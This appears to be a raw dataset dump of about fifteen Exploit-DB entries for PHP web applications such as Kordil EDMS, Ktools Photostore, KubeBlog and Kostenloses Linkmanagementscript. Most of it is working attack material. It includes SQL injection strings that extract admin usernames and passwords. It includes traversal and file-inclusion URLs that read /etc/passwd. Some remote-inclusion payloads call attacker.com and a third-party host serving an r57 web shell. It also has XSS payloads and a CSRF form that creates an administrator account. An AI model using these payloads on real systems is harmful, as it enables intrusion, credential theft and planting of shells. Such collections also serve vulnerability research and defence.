deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23180
Description: Kordil EDms 2.2.60rc3 - SQL Injection
Type: webapps
Platform: php
Date: 2012-12-06
Author: Woody Hughes

Exploit:
# Exploit Title: Kordil EDMS v2.2.60rc3 SQL Injection Vulnerability
# Date: 12/05/2012
# Exploit Author: Woody Hughes <whughes@ingresssecurity.com>
# Vendor Homepage: http://sourceforge.net/projects/kordiledms/
# Software Link: http://sourceforge.net/projects/kordiledms/files/latest/download
# Version: 2.2.60rc3
# Tested on: Ubuntu Linux

INGRESS SECURITY SECURITY ADVISORY
INGRES-12052012-Kordil EDMS v2.2.60rc3 SQL Injection Vulnerability
December 5, 2012

OVERVIEW
Ingress Security has found multiple SQL injection vulnerabilities in the Kordil EDMS software.

Kordil EDMS the Electronic Document Management System with power tools is a user friendly document control and management system to gather all documents and key and important information within your organizations under a single database.

AFFECTED PRODUCTS
Kordil EDMS v2.2.60rc3
http://sourceforge.net/projects/kordiledms/

PLATFORM: Linux

LOCAL/REMOTE: Remote

CVSS SCORE: 5.5 (AV:R/AC:L/Au:R/C:C/I:C/A:N/B:/E:P/RL:U/RC:C) 

DESCRIPTION OF VULNERABILITIES  

SQL Injection Vulnerability (SQLi)

Proof of Concept:
URL: http://localhost/kordil/global_group_login.php
Type: Error-based
Payload: User=admin&Password=12345' AND EXTRACTVALUE(1299,CONCAT(0x5c,0x3a6a6f793a,(SELECT (CASE WHEN (1299=1299) THEN 1 ELSE 0 END)),0x3a6a77683a)) AND 'hax'='hax&act=n&QS_Submit=Submit

URL: http://localhost/kordil/global_group_login.php
Type: Blind - Time-based
Payload: User=admin&Password=12345' AND SLEEP(5) AND 'hax'='hax&act=n&QS_Submit=Submit

DISCLAIMER
The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact info@ingresssecurity.com to get permission.
Exploit-DB #24771
Description: KorWeblog 1.6.2 - Remote Directory Listing
Type: webapps
Platform: php
Date: 2004-11-24
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11744/info

A vulnerability is reported in the KorWeblog software that may allow a remote user to disclose directory listings.

The problem presents itself when a malicious user crafts an URI request containing directory traversal sequences. When properly formatted, the request will present the malicious user with a listing of the contents of a specified server directory located outside of the web root.

An attacker may leverage this issue to gain access to sensitive information by disclosing directory listings; information disclosed in this way could lead to further attacks against the target system.

http://www.example.com/viewimg.php?path=images.d/face/../../../../../../../&form=Co
m&var=faceicon
Exploit-DB #8334
Description: Koschtit Image Gallery 1.82 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-04-01
Author: ahmadbady

Exploit:
                            :local file include:
   
#############################
script: koschtit_image_gallery(v1.82)
   
##############################################################
download from:http://koschtit..tabere.net/download/
or http://koschtit.tabere.net/en/#getit 
   
##############################################################
vul:/ki_base/ki_makepic.php


if(isset($_GET['file'])) 
 $file = "../ki_galleries/".$_GET['file'];
else
 exit();

$gallery = substr($_GET['file'], 0, strpos($_GET['file'], "/"));
if(is_file("../ki_config/".$gallery."_ki_setup.php"))
 include_once("../ki_config/".$gallery."_ki_setup.php");

$imgsize = getimagesize($file); 

#############
vul:/ki_base/ki_nojsdisplayimage.php

$gallery = substr($_GET['file'], 0, strpos($_GET['file'], "/"));

include_once("../ki_config/ki_setup.php");
if(is_file(".../ki_config/".$gallery."_ki_setup.php")){
 include_once("../ki_config/".$gallery."_ki_setup.php");
}
.
.
$srcfile = "../ki_galleries/".$file;
$imgsize = getimagesize("../ki_galleries/".$file);

##############################################################
xpl:
path/ki_base/ki_makepic.php?file=[local_file]
path/ki_base/ki_nojsdisplayimage.php?file=[local_file]  
------------------------------------------------------------

# milw0rm.com [2009-04-01]
Exploit-DB #5621
Description: Kostenloses Linkmanagementscript - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-14
Author: HaCkeR_EgY

Exploit:
############################################
#   Remote File Inclusion Vulnerability    #
#     Kostenloses Linkmanagementscript     #   
############################################    
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : hacker_egy@hotmail.com
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
## Scripte Name : Kostenloses Linkmanagementscript
 
## download scripte :  http://scripte.phpway.de/
 
## Downloads: 2458

########################################################################
================================================================================
## VuRn C0DE :
 
Line 91 :
<?php
include($main_page_directory.$page_to_include);
?>
 
## ExPL0!T :
                1=====>>http://www.target.de/script/template\index.php?main_page_directory=  Ev!L C0dE
                2=====>>http://www.target.de/script/template\index.php?page_to_include=  Ev!L C0dE
 
## L!ve DeM0 :
             
        =======>>http://scripte.phpway.de/demo/template\index.php?page_to_include=http://captshino.tripod.com/r57.txt?
 
 
################################################################################
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist , str0ke
 
#################################################################################

# milw0rm.com [2008-05-14]
Exploit-DB #5623
Description: Kostenloses Linkmanagementscript - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-15
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  # ...::::Kostenloses Linkmanagementscript SQL Injection Vulnerabilities ::::...       #          
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
top_view.php:
line 3:$id = $_GET['id'];
..
..
ine 19:$voting_page_command_sql = "SELECT votings, worth FROM ".$tab_links." WHERE id = '".$id."'";
*********
view.php:
line 8:$id = $_GET['id'];
line 9:$view_page_command_sql = "SELECT url, hits FROM ".$tab_links." WHERE id = '".$id."'";
---
exploits:
http://site.com/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f[PII_REDACTED]64)/**/from/**/mysql.user/*
http://site.com/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f[PII_REDACTED]64)/**/from/**/mysql.user/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-15]
Exploit-DB #10216
Description: kr-web 1.1b2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-11-24
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#KR-Web <= 1.1b2 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/krw/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./KR-Web-1.1b2/adm/krgourl.php (line 2)
#       <?php
#          include "$DOCUMENT_ROOT/paths.inc"; 
#       ?>
#PoC  :  http://server/[path]/adm/krgourl.php?DOCUMENT_ROOT=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ]
Exploit-DB #4034
Description: Kravchuk letter script 1.0 - 'scdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-05
Author: Mehmet Ince

Exploit:
++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++
+   K-letter 1.0 << Remote File include                             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   DownloadScript: http://www.scripts.com.ua/download.php?ID=813   +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   Cyber-warrior.org <<< sanal alemin DEV.                         +
+                                                                   +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [1];  action.php?                                         +
+              include ($scdir."admin/config.inc.php");             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/acrion.php?scdir=[3vil script]              +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [2];  subs.php?                                           +
+              include $scdir."admin/config.inc.php";               +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/subs.php?scdir=[3vil script]                +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   ERROR [3];  unsubs.php?                                         +
+              include $scdir."admin/config.inc.php";               +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+   BUG                                                             +
+   www.target.com/path/unsubs.php?scdir=[3vil script]              +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+DORK:(                                                             +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++CYBER-SECURITY+++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-06-05]
Exploit-DB #35798
Description: Kryn.cms 0.9 - '_kurl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47973/info

Kryn.cms is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Kryn.cms 0.9 is vulnerable; other versions may also be affected. 

http://www.example.com/kyrn/index.php?_kurl=%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #5423
Description: Ksemail - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-10
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discoverd by dun \ dun[at]strcpy.eu ]

 #####################################################
 #  [  Ksemail  ]  Local File Include Vulnerability  #
 #####################################################
 #
 # Script site:  http://www.ksemail.com/, http://mail.ksemail.com
 # 
 # Vuln: 
 # http://site.com/prog/index.php?language=../../../../../../etc/passwd 
 # http://site.com/prog/index.php?lang=../../../../../../etc/passwd
 #	
 # Dork example: "FoxMail/Outook"
 #
 ###############################################
 # Greetz: D3m0n_DE, nejman, sid_psycho
 # and all otherz.. [;
 ###############################################

 [ dun / 2008 ] 

********************************************************************************************

# milw0rm.com [2008-04-10]
Exploit-DB #32190
Description: Kshop 2.22 - 'kshop_search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-06
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30576/info

Kshop is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Kshop 2.22 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/modules/kshop/kshop_search.php" method="POST"> <input type="text" name="search" value="Put your XSS Here !!!"> </form
Exploit-DB #5580
Description: Ktools Photostore 3.5.1 - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-09
Author: Mr.SQL

Exploit:
#########################################
# Remote SQL Injection Vulnerability    #
#                                       #
#  PhotoStore 3.4.3 ( gallery.php gid ) #
#                                       #
#########################################
## Script NAME  : PhotoStore
## VERSION : 3.4.3
## DOWNLOAD : http://www.ktools.net/
#########################################
## AuTh0r : Mr.SQL
## H0ME   : WwW.PaL-HaCkEr.CoM
## Email   : SQL@Hotmail.it 
#########################################
## D0rk ::  n/a   ;)
################################################################################

## ExPlo!t For ADMIN INFO  :
===> http://www.exampel.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,4,5,6,7,8,9,10,1,12,13+from+mgr_users/*
 
#############
 
## Explo!T For Users INFO :
===> http://www.exampel.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,13+from+members/*

###################################################################################
 
===>> Admin P@nel
                    /manager/login.php

### N0TE ## YOU Can UploaD Your Ev!l Code  ADMIN CP
#############
<< Gr33Tz >>  
Dark MaSTer :: HaCkEr-EGy :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: SecuritY FearS :: (( MuslimS HaCkErS ))
#####################################################
                                                      
                                                                (( Geek InjEcT0r ))

# milw0rm.com [2008-05-09]
Exploit-DB #40046
Description: Ktools Photostore 4.7.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-06-30
Author: Gal Goldshtein & Viktor Minin

Exploit:
Title       : Ktools Photostore <= 4.7.5 (Pre-Authentication) Blind SQL Injection
CVE-ID      : CVE-2016-4337
Google Dork: inurl:mgr.login.php
Product     : Photostore
Affected    : Versions prior to 4.7.5
Impact      : Critical
Remote      : Yes
Website link: http://www.ktools.net
Reported    : 02/06/2016
Authors     : Gal Goldshtein and Viktor Minin
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
No authentication (login) is required to exploit this vulnerability.
The Photostore application password recovery module is prone to a blind sql injection attack.
An attacker can exploit this vulnerability to retrieve all the data stored in the application's database.


Vulnerable code is located in the mgr.login.php file:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
case 'recover_login': {
                                                mysqli_query( $db, '' . 'SELECT username,password,email,admin_id FROM ' . $dbinfo[pre] . 'admins where email = \'' . $_POST['email'] . '\'' );
                                                $result = ;
                                                mysqli_num_rows( $result );
                                                $returned_rows = ;
                                                mysqli_fetch_array( $result );
                                                $db_admin_user = ;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PoC:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
POST /photostore/manager/mgr.login.php?pmode=recover_login HTTP/1.1
Host: victim.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/photostore/manager/mgr.login.php?username=demo&password=demo
Cookie: member[umem_id]=58C05864CA6A59DBGHJSKDHGDGS770D5; PHPSESSID=30afayreighgfdgucb0d2b0c6dece3158
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

email=%27%20[SQL PAYLOAD];#
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #7305
Description: KTP Computer Customer Database CMS 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-30
Author: CWH Underground

Exploit:
================================================
  KTPCCD CMS Blind SQL Injection Vulnerability
================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 30 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : APPLICATION : KTP Computer Customer Database CMS
 VERSION     : 1
 DOWNLOAD    : http://downloads.sourceforge.net/ktpcomputercust/ktp_build_20081119.zip
#####################################################

**Need Magic_quote = Off**

--- Blind SQL Injection ---

Login as user or Register at http://[Target]/[ktp_path]/?p=tech&a=ntech then goto Exploit...

---------
 Exploit
---------

Test Blind SQL Injection in MYSQL Version 5

[!]True
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=5--

Result
Home Phone:[PII_REDACTED]
Cell Phone:[PII_REDACTED]
Fax Number:[PII_REDACTED]
A+ Certifcation ID: 312 


[!]False
[+] http://[Target]/[ktp_path]/?p=tech&a=vtech&tid=1%27%20and%20substring(@@version,1,1)=4--

Result
Home Phone: n/a
Cell Phone: n/a
Fax Number: n/a
A+ Certifcation ID: (Technician is not certified) 

#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-30]
Exploit-DB #12496
Description: KubeBlog - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-05-03
Author: The.Morpheus

Exploit:
========================================================================================
| # Title    : KubeBlog XSRF Vuln.
| # Author   : The.Morpheus
| # email    : fats0L@windowslive.com
| # Home     : http://www.spyturks.com
| # Date     : 03.05.2010
| # Script   : Copyright © 2008 Kubelabs.com  All Rights Reserved
| # Tested on: http://demos.kubelabs.com/kubeblog
| # Bug      : Yeni User Eklenebilinir.
======================      Exploit By The.Morpheus  =================================
 # Exploit  :

 <form name="form1" method="post" action="http://[vuln_site]/kubeblog/adm/users_add.php">
        <table width="70%" cellpadding="0" cellspacing="2" border="0">
          <tr>
            <td width="35%"> </td>
            <td width="65%"> </td>

          </tr>
          <tr>
            <td><strong>Username (<a href="#" onClick="MM_openBrWindow('help.php?id=6','help','width=500,height=200')">?</a>)</strong></td>
            <td>:<input name="username" type="Text" class="textbox" id="username" style="width:60%" value=""><span class="error"></span></td>
          </tr>
          <tr>
            <td><strong>Password (<a href="#" onClick="MM_openBrWindow('help.php?id=7','help','width=500,height=200')">?</a>)</strong></td>

            <td>:<input name="password" type="password" class="textbox" id="password" style="width:60%" value=""><span class="error"></span></td>
          </tr>
          <tr>
            <td><strong>Confirm Password (<a href="#" onClick="MM_openBrWindow('help.php?id=8','help','width=500,height=200')">?</a>)</strong></td>
            <td>:<input name="password2" type="password" class="textbox" id="password2" style="width:60%" value=""></td>
          </tr>

          <tr>
            <td><strong>User Type (<a href="#" onClick="MM_openBrWindow('help.php?id=9','help','width=500,height=200')">?</a>)</strong></td>
            <td>:
            <select name="user_type">
            <option value='2'>User</option><option value='3'>Administrator</option><option value='4'>Moderator</option>            </select>
            </td>

          </tr>
          <tr>
            <td> </td>
            <td> </td>
          </tr>
          <tr>
            <td></td>
            <td height="30" style="padding-left:6px;">
            <input name="Submit" type="submit" class="button" value="Submit">

             
            <input name="Reset" type="reset" class="button" value="Reset">
            </td>
          </tr>
        </table>
    </form></td>


############################################################################################